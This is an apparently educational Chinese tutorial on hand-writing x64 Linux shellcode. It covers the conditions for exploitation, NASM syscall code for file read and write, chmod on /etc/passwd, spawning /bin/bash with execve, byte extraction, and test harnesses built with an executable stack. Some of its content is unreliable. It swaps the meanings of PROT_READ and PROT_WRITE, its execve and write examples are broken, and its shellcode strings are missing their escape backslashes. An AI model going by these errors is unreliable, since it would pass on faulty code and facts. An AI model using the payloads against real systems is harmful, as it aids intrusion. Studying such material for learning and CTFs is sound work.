本篇主要是以x64系統為例對系統調用中一些功能性函數的解讀和實際運用。目前網絡上流傳的通用shellcode，均使用系統調用實現，在記錄整個學習過程的同時分享給大家一起學習探討。

0x01 Shellcode 簡介

0x1 shellcode

Shellcode 是一段可以執行特定功能的特殊匯編代碼，在設備漏洞利用過程中注入到目標程序中從而被執行，在比賽或者是實戰中棧溢出漏洞使用的更為頻繁，編寫Shellcode比編寫RopGagdet更為簡單，棧溢出的最經典的利用方式是Ret2Shellcode。

0x2 exploit 與 shellcode關系

exploit主要強調執行控制權，而shellcode更關注于有了控制權之后的功能。因此shellcode更像是exploit的載荷，往往對于不同漏洞來講exploit是特殊的，而shellcode會具有一些通用性。

0x02 使用條件

對 shellcode 有了大概的了解之后，看一看其使用場景。一般來說這三點是必備條件，缺一不可，通過控制程序流程跳轉到shellcode地址上去。

0x1 擁有程序控制權

這一點毋庸置疑，可以通過棧溢出或者是格式化字符串,堆溢出等漏洞劫持程序的執行流。所以shellcode等的定位是漏洞觸發之后的漏洞利用，主要負責實現攻擊者的攻擊目的。

0x2 擁有shellcode地址

不論是程序擁有隨機化還是固定基地址，都需要在跳轉之前獲取shellcode存儲地址，一般采用的技巧是

在程序bss段固定，且程序地址不隨機
shellcode為程序正常功能輸入，在寄存器中保存有其地址
在堆棧附近存在與shellcode地址相關聯地址

0x3 shellcode在可執行內存空間

最后跳轉到shellcode地址上后需要有可執行權限才能執行。但通常程序開啟NX保護后，其內存空間禁止代碼執行，這是只能通過mprotect函數修改shellcode內存權限，賦予可執行權限后再跳轉。一般利用 RopGagdet 布局mprotect 函數修改內存權限。

重點關注兩個方面 start地址和prot取值

1 起始地址

需要指出的是，鎖指定的內存區間必須包含整個內存頁（4K）。區間開始的地址start必須是一個內存頁的起始地址，并且區間長度len必須是頁大小的整數倍。

2 prot賦值

prot可以取以下幾個值，并且可以用“|”將幾個屬性合起來使用，括號中的數字是在預編譯的時候替換的真實值：

1）PROT_READ(1)：表示內存段內的內容可寫；
2）PROT_WRITE(2)：表示內存段內的內容可讀；
3）PROT_EXEC(4)：表示內存段中的內容可執行；
4）PROT_NONE(0)：表示內存段中的內容根本沒法訪問。

0x03 編寫技巧

打算從系統調用函數、字符串設計、代碼模板、shellcode提取這幾個發面著手寫這部分內容，主要解決以下三大問題：

對系統調用函數不熟悉，特別是為參數賦值問題撓頭
對匯編代碼編寫不熟悉，解決寄存器和內存應用問題
對匯編代碼編譯不熟悉，解決怎么從編譯好的匯編程序中完整提取shellcode問題

0x1 系統調用函數

提到shellcode 就不得不說系統調用，我們首先考慮為什么要寫shellcode，其目的是執行一些程序本身不具備的功能，實現攻擊者的攻擊目的。湊巧的是在匯編語言中有這么一些函數調用基本可以實現所有功能，我們稱他們為系統調用函數，通過系統調用可以直接訪問系統內核，具有非常強大的功能。

詳細的系統調用表網址如下

https://filippo.io/linux-syscall-table/
https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/9.4_linux_syscall.html

系統調用在匯編代碼中表示為syscall（int 0x80）指令，32和64位系統有所區別，二者有單獨調用表。

0x2 巧取字符串

初步認識shellcode的編寫技巧，先從最簡單的例子看起，下面代碼如果當作匯編語言執行是完全沒有問題的，但是如果做為shellcode的話還是差點火候。這里用兩種方法規避這種錯誤：

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi, MESSAGE
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

編譯指令如下

nasm -g -f elf64 -o asm.o asm.s
ld -o asm asm.o

編譯過后可以發現字符串位于data段，指針利用的是絕對地址，在shellcode中是不能出現絕對地址，這也是shellcode的頭等大忌。

1 方法一

利用call指令壓棧的特性，將字符串的地址壓棧之后再pop到寄存器中，在shellcode編寫中是一種非常常用的方法。我們可以看到字符串緊跟在call指令之后，因為call壓棧就是壓的下一條指令的地址，此地址正好為字符串地址。

section .data
    WRITE equ 1
    EXIT  equ 60
section .text
    global _start

_start:
    mov     rax, WRITE
    mov     rdi, 1
    jmp     getstring
string:
    pop     rsi
    mov     rdx, 5
    syscall
    jmp exit

getstring:
    call string
    MESSAGE db "Hello", 0xa

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 方法二

同時也是利用棧的特性，將字符串計算過大小，以及分割完畢之后就可以分撥壓進棧中，保存最后的esp值就可以實現字符串地址的獲取。

section .data
    WRITE equ 1
    EXIT  equ 60
    MESSAGE db "Hello", 0xa
section .text
    global _start
_start:
    mov     rax, WRITE
    mov     rdi, 1
    mov     rsi,0x00000a6f6c6c6548
    push    rsi    
    mov     rsi, rsp
    mov     rdx, 5
    syscall
    jmp exit

exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x3 文件讀

1 sys_open

文件讀寫都需要涉及打開文件操作，是通過內核提供的系統調用sys_open來實現的。具體參數如下：

asmlinkage long sys_open(const char __user *filename, int flags, int mode)

這里需要注意在文件操作之后，需要利用close函數關閉文件描述符。分別介紹flags和mode參數取值，flags表示在打開文件時標志屬性，mode為在創建文件的時候文件屬性。

flags
表示只讀、只寫和創建。如果想賦予多個屬性可以用|鏈接類似于 O_WRONLY|O_CREAT

打開文件用匯編表示為

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "test", 0x00
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 666
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

2 sys_read

section .data
    OPEN equ 2
    READ equ 0
    EXIT  equ 60
    FILENAME db "xxx", 0x00
    BUFFER db "11111"
section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 2
    mov     rdx, 511
    syscall

    mov     rdi, rax
    mov     rax, READ
    mov     rsi, BUFFER
    mov     rdx, 8
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

上述代碼中xxx為二進制文件，如下圖成功讀出elf內容：

0x4 文件寫

open 操作與之前一樣，新增write操作，相關系統調用參數如下：

section .data
    OPEN equ 2
    EXIT  equ 60
    FILENAME db "hehe", 0x00

section .text
    global _start
_start:
    mov     rax, OPEN
    mov     rdi, FILENAME
    mov     rsi, 65
    mov     rdx, 511
    syscall
    mov     rdi, rax
    jmp wirte

wirte:
    mov     rsi, FILENAME
    mov     rdx, 4
    syscall
    jmp exit
exit:
    mov rax, EXIT
    mov rdi, 0
    syscall

0x5 權限修改

在linux中權限修改利用chmod指令，在系統調用的時候采用的sys_chmod函數

在分析open函數時有討論mode的取值，這里就不再分析
有時在shellcode中需要修改程序的權限

#include <sys/types.h>
#include <sys/stat.h>
main()
{
    chmod("/etc/passwd", S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH);
}

section .data
    CHMOD equ 90
    EXIT  equ 60
    FILENAME db "xxx", 0x00
section .text
    global _start
_start:
    mov     rax, CHMOD
    mov     rdi, FILENAME
    mov     rsi, 511
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x6 命令執行

system函數中的命令執行用的是syscall execve系統調用。其參數格式如下

調試system函數內部的參數調用可以看出rax是系統調用號，rdi是filename，rsi是字符串數組

字符串數組內存布局如下

section .data
    EXECVE equ 59
    FILENAME db "/bin/bash", 0x00
section .text
    global _start
_start:
    mov     rax, EXECVE
    mov     rdi, FILENAME
    mov     rsi, 0
    mov     rdx, 0
    syscall

    mov rax, EXIT
    mov rdi, 0
    syscall

0x7 shellcode 提取技巧

這里參照 https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

objdump -d ./test|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' ' | tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

0x04 驗證技巧

走到這一步的大哥們都已經編好了自己的shellcode，開始磨刀霍霍向牛羊了，這里介紹兩種常用的檢查shellcode功能的方法，內聯匯編和函數指針。

0x0 關閉棧不可執行

因為在測試時，shellcode在bss段，在關閉NX編譯選項之后bss段也擁有了可執行屬性，具體操作如下。

注意在編譯的時候加上 -z execstack

gcc -o test test.c -z execstack

0x1 內聯匯編

在linux 下的C語言中主要采用的是 att格式的匯編，這里有個坑，一開始沒接觸c內聯att格式匯編的小盆友們要注意了jmp eax的寫法為jmp *%rax

#include<stdio.h>
char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(int argc, char **argv)
{
        __asm__("lea shellcode,%eax;jmp *%rax");
       return 0;
}

如圖中代碼所示，rip已經指向jmp rax指令此時的rax就是shellcode那段字符串的地址。因為這段內存擁有可執行，最后成功執行shellcode。

0x2 函數指針

第二種方法大同小異，也是將shellcode放在程序的bss段上，利用之前的編譯指令編好后調試。

#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = "xb8x01x00x00x00xbfx01x00x00x00xebx0ax5exbax05x00x00x00x0fx05xebx0bxe8xf1xffxffxffx48x65x6cx6cx6fx0axb8x3cx00x00x00xbfx00x00x00x00x0fx05";
int main(void)
{
    int (*func)() = (int(*)())shellcode;
    func();
}

在上述匯編代碼中可以看出將shellcode 的地址賦值給了rdx寄存器，后續直接call調用。

0x05 總結

簡單的記錄了常見shellcode功能編寫測試方法，本文介紹的還是比較寬泛，也只針對64位系統進行分析，之后會把其他架構還有x86的利用方式慢慢補齊，還請大佬們多指點指點。

0x06 參考文獻

https://filippo.io/linux-syscall-table/
https://xz.aliyun.com/t/2052
http://www.vividmachines.com/shellcode/shellcode.html
https://blog.csdn.net/littlehedgehog/article/details/2653743

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